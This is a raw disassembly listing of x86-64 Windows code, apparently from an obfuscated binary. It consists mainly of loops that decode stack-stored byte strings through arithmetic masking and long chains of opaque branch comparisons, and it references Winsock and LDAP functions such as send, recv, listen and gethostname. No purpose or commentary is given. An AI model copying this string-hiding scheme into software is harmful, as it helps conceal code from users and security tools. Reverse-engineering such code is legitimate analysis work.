add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0xd
dec rbx
inc rbx
jmp 0x140091532
movabs rdx, 0xba8e5f75d5eb91f9
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x31
add r10b, dl
movabs rcx, 0x220e47527b3534a9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x61
add r11b, cl
mov byte [rbp + rbx + 0x7a8], r11b
inc r9
dec rbx
inc rbx
jmp 0x140091532
movabs rcx, 0xf93194787cb93f5f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x67
inc r9
dec rbx
inc rbx
jmp 0x140091532
movabs rcx, 0x6367fb795efdce81
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x79
dec rbx
inc rbx
jmp 0x140091532
movabs rdx, 0xcd9e627a41425da3
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x75
add r10b, dl
movabs rcx, 0xb7d7e05198f0a587
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x4f
add r11b, cl
add r11b, r10b
mov byte [rbp + rbx + 0x7a8], r11b
jmp 0x1400922c5
movabs rcx, 0x37d4c97b2386ecc5
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x63
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140091532
mov r11, rdx
movabs rcx, 0xc41977ce8100b09
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x3f
movabs rcx, 0x4da17950b6ac1665
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x3d
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x7a8], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x988645d04589ced4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x7a8], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x7a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140091532
movabs rcx, 0xe0ae657eac99294d
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x1b
movzx eax, byte [rbp + rbx + 0x7a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140091532
movabs rcx, 0xe8de3e453930d1ab
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x53
jmp 0x140091530
movabs rcx, 0x5314a5461b7560cd
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x65
jmp 0x140091520
lea rcx, [rbp + 0x177f23c]
jmp 0x140092415
lea rcx, [rbp + 0x155aaab]
jmp 0x140092415
lea rcx, [rbp + 0x7a8]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x140229f60]
lea rcx, [rbp + 0x168]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
call fcn.14006ba40
mov rdi, rax
mov byte [rbp + 0x7d0], 0xaa
mov byte [rbp + 0x7d1], 0xfb
mov byte [rbp + 0x7d2], 0xcb
mov byte [rbp + 0x7d3], 0xfa
mov byte [rbp + 0x7d4], 0x82
mov byte [rbp + 0x7d5], 0xab
mov byte [rbp + 0x7d6], Ordinal_211
mov byte [rbp + 0x7d7], Ordinal_217
mov byte [rbp + 0x7d8], WSASetLastError
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x7d9], xmm0
mov qword [rbp + 0x7e9], rax
mov word [rbp + 0x7f1], ax
movabs rsi, 0x3554e960a0975c65
movabs r13, 0x64103be007a5af11
movabs r14, 0x54d082a426f60e3b
movabs r15, 0x8cb00ae417aab019
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009335b
movzx r11d, byte [rbp + rbx + 0x7d0]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14009334f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140092543
lea rcx, [rbx + r13]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
sub r10b, 0x77
jmp 0x140092596
je 0x1400932c7
inc rax
cmp r8, rax
je 0x140093233
lea rax, [r9 + 3]
cmp r8, rax
je 0x140093200
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400931c9
lea rax, [r9 + 6]
cmp r8, rax
je 0x140093168
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009313e
lea rax, [r9 + 4]
cmp r8, rax
je 0x140093110
cmp r9, rbx
ja 0x140093343
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x1400925c7
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3d
jmp 0x140092600
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400930bf
inc rax
cmp r8, rax
je 0x140093095
lea rax, [r9 + 3]
cmp r8, rax
je 0x140093071
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009303c
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140092ca8
nop dword [rax]
lea rax, [r9 + 6]
cmp r8, rax
je 0x140092c80
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140092c53
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140092c24
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140092bfb
lea rax, [r9 + 8]
cmp r8, rax
je 0x140092bbf
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140092b86
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140092b5d
lea rax, [r9 + 2]
cmp r8, rax
je 0x140092b34
lea rax, [r9 + 9]
cmp r8, rax
je 0x140092afa
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140092610
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x40]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14009331f
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400932fb
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400927fb
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400927e0
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400927c5
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140092a98
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140092a3b
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400929e8
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400929b9
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140092610
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14009297f
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140092956
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14009292d
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400928f9
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400928c2
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14009289a
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140092870
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140092843
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14009281f
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140092610
lea r8, [r9 + 5]
lea r9, [r8 + 9]
jmp 0x140092610
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x63
jmp 0x140092600
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x51
jmp 0x140092596
movabs rcx, 0xc48f9324085f51f7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3f
jmp 0x140092505
movabs rcx, 0xaaa74b0504bae328
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
jmp 0x1400930de
movabs rcx, 0xe286d344f56f8506
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2a
inc r9
dec rbx
inc rbx
jmp 0x1400924f2
movabs rcx, 0x1a665b84e62426e4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3c
dec rbx
inc rbx
jmp 0x1400924f2
movabs rdx, 0x5245e3c4d6d8c8c2
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4e
add r10b, dl
jmp 0x140093187
movabs rcx, 0x8a256c04c78d6aa0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400924f2
movabs rcx, 0xc204f444b8420c7e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x72
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400924f2
movabs rdx, 0xf9e47c84a8f6ae5c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140093251
movabs rdx, 0x31c404c499ab503a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140093281
movabs rdx, 0x69a38d048a5ff218
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x7d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400924f2
movabs rcx, 0x755261a4642386c3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x55
mov byte [rbp + rbx + 0x7d0], r10b
inc rbx
jmp 0x1400924f2
movabs rdx, 0xad31e9e454d828a1
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x67
add r10b, dl
cmp r9, 5
jb 0x1400929d8
movabs rcx, 0xde77db430c03c0c6
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, listen
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x1400930de
movabs rcx, 0xe5117224458cca7f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x79
cmp r8, 0x1000
jae 0x140092fe1
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x140092eee
movabs rcx, 0xd332dc273121372
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
jmp 0x140092a0b
movabs rdx, 0x1cf0fa6436416c5d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x75
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x10
je 0x140093011
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x140092e03
movabs rcx, 0xd7de4461d27ab70d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5b
jmp 0x140092a5a
movabs rdx, 0x3ffd7843c38c2a5e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x7d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400924f2
movabs rdx, 0x77dd0083b440cc3c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140093281
movabs rdx, 0xafbc88c3a4f56e1a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140093251
movabs rdx, 0xe79c110395aa0ff8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400924f2
movabs rdx, 0x1f7b9943865eb1d6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400924f2
movabs rdx, 0x575b2183771353b4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140093187
movabs rdx, 0x8f3aa9c367c7f592
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x1400924f2
movabs rcx, 0xc71a3203587c9770
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
inc r9
dec rbx
inc rbx
jmp 0x1400924f2
movabs rdx, 0xfef9ba434931394e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x22
add r10b, dl
jmp 0x1400930de
lea rax, [r9 + 6]
cmp r8, rax
jae 0x140092cd0
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x77
jmp 0x140092abb
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140092d17
movabs rdx, 0x6aa9d2c1412eb8ca
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x7d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400924f2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140092d5b
movabs rcx, 0x8b2bb1c17e5c3152
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3e
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400924f2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140092d93
movabs rcx, 0x1b6ca1419cf2ed96
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x1a
dec rbx
inc rbx
jmp 0x1400924f2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140092dcd
movabs rcx, 0xe38d1901ac3e4bb8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
inc r9
dec rbx
inc rbx
jmp 0x1400924f2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140092abb
movabs rdx, 0xabad90c1bb89a9da
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400930de
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140092e34
movabs rcx, 0x9ffebc21e1c6152f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x49
jmp 0x1400930de
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140092e69
movabs rdx, 0xf86023620fa82f95
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x13
add r10b, dl
jmp 0x140093187
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140092eac
movabs rcx, 0xc0809b221ef38db7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
dec r10b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400924f2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140092a5a
movabs rcx, 0xe1027a225c21063f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x47
movzx eax, byte [rbp + rbx + 0x7d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400924f2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140092f30
movabs rcx, 0xd553a582825d7194
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
movzx eax, byte [rbp + rbx + 0x7d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400924f2
inc rax
cmp r8, rax
jne 0x140092f65
movabs rdx, 0x9d741d4291a8cfb6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140093281
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140092fab
movabs rdx, 0x2db50cc2b03f8bfa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400924f2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140092a0b
movabs rdx, 0xbdf5fc42ced6483e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140093187
movabs rdx, 0xa69853031b4f1ee8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0x7d0]
sub r10b, al
sub r10b, 0x58
add r10b, r11b
add r10b, dl
jmp 0x140093187
movabs rcx, 0x6eb8cac32a9a7d0a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0x7d0]
lea r10d, [r11 + rcx]
sub r10b, 0x46
jmp 0x140093251
movabs rcx, 0xe617b7e0fc5b9131
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x57
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400924f2
movabs rcx, 0x55d6c860ddc4d4ed
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7b
jmp 0x140093187
movabs rcx, 0x8db650a0ce7976cb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x73
dec rbx
inc rbx
jmp 0x1400924f2
movabs rcx, 0xfd756120afe2ba87
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4f
movabs rcx, 0x4288172313a96fd7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x1f
add cl, r11b
mov byte [rbp + rbx + 0x7d0], cl
inc r9
dec rbx
inc rbx
jmp 0x1400924f2
movabs rcx, 0xa513f9e08200a021
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x19
inc r9
dec rbx
inc rbx
jmp 0x1400924f2
movabs rcx, 0xdcf3822072b541ff
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 7
dec rbx
inc rbx
jmp 0x1400924f2
movabs rcx, 0x14d30a606369e3dd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xb
movabs rcx, 0xaa88ee322f4cdf9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x31
add r11b, cl
add r11b, r10b
mov byte [rbp + rbx + 0x7d0], r11b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400924f2
movabs rcx, 0x4cb292a0541e85bb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1d
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400924f2
movabs rcx, 0x84921ae044d32799
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x2f
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400924f2
mov r11, rdx
movabs rax, 0xbc71a3203587c977
add rax, rbx
and dl, al
add dl, dl
sub al, dl
lea r10d, [r11 + rax]
sub r10b, 0x41
movabs rcx, 0xd2c906a332402c1b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x43
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x7d0], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x36d9428339e5db2c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x34
add cl, r11b
mov byte [rbp + rbx + 0x7d0], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x7d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400924f2
movabs rcx, 0x2c30b3a016f10d33
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x65
movzx eax, byte [rbp + rbx + 0x7d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400924f2
movabs rcx, 0xfc6f1b63f913f3d5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2d
jmp 0x1400924f0
movabs rcx, 0x344ea3a3e9c895b3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1b
jmp 0x1400924e0
lea rcx, [rbp + 0x151a73c]
jmp 0x140093362
lea rcx, [rbp + 0xb7564d]
jmp 0x140093362
lea rcx, [rbp + 0x7d0]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x140229e40]
lea rcx, [rbp + 0x188]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x48]
mov rcx, qword [0x140230160]
call fcn.14006c820
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006ba40
mov rsi, rax
mov byte [rbp + 0x7f8], 0xee
mov byte [rbp + 0x7f9], 0x90
mov byte [rbp + 0x7fa], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x7fb], __WSAFDIsSet
mov byte [rbp + 0x7fc], Ordinal_217
mov byte [rbp + 0x7fd], 0xe9
mov byte [rbp + 0x7fe], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x7ff], __WSAFDIsSet
mov byte [rbp + 0x800], 0xad
mov byte [rbp + 0x801], 0xb5
mov byte [rbp + 0x802], 0xb9
mov byte [rbp + 0x803], recv
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x804], xmm0
mov dword [rbp + 0x814], eax
mov word [rbp + 0x818], ax
mov byte [rbp + 0x81a], al
movabs r14, 0x6c700630c5fac038
movabs r15, 0xa92ea2e14f3296c8
movabs r13, 0x55b640c448886c18
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
movabs rcx, 0x29bc310e83551558
cmp rdi, 0x23
jae 0x1400941fe
movzx ebx, byte [rbp + rdi + 0x7f8]
mov r10, rbx
cmp r8, rdi
ja 0x1400941f2
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400934b3
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x68
jmp 0x1400934e0
je 0x14009416b
inc rax
cmp r8, rax
je 0x140094132
lea rax, [r9 + 2]
cmp r8, rax
je 0x140094109
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400940b2
nop
cmp r9, rdi
ja 0x1400941e6
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x140093518
lea rdx, [rdi + r14]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140093560
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009408b
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009405d
lea rax, [r9 + 3]
cmp r8, rax
je 0x140094022
lea rax, [r9 + 5]
cmp r8, rax
je 0x140093fef
lea rax, [r9 + 7]
cmp r8, rax
je 0x140093f5b
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140093bdd
nop dword [rax]
lea rax, [r9 + 8]
cmp r8, rax
je 0x140093bc9
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140093b9d
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140093b74
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140093b65
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140093b2a
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140093af2
lea rax, [r9 + 4]
cmp r8, rax
je 0x140093aca
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140093aa3
lea rax, [r9 + 6]
cmp r8, rax
je 0x140093a6f
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140093570
lea r8, [r9 + 8]
lea r9, [r8 + 9]
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400941c3
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400941a0
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140093768
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140093749
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14009372b
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140093a0a
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400939aa
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140093959
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140093926
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140093570
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400938ed
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400938c5
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400938a2
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14009386f
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14009383d
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14009381b
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400937ed
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400937c1
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14009379a
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140093570
lea r8, [r9 + 0xa]
lea r9, [r8 + 1]
jmp 0x140093570
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x78
add r11b, dl
jmp 0x140093560
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400934e0
movabs rdx, 0x23ddea741de4168
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0x29bc310e83551558
jmp 0x14009347e
movabs rdx, 0x638031862fd601c0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x40
add r11b, dl
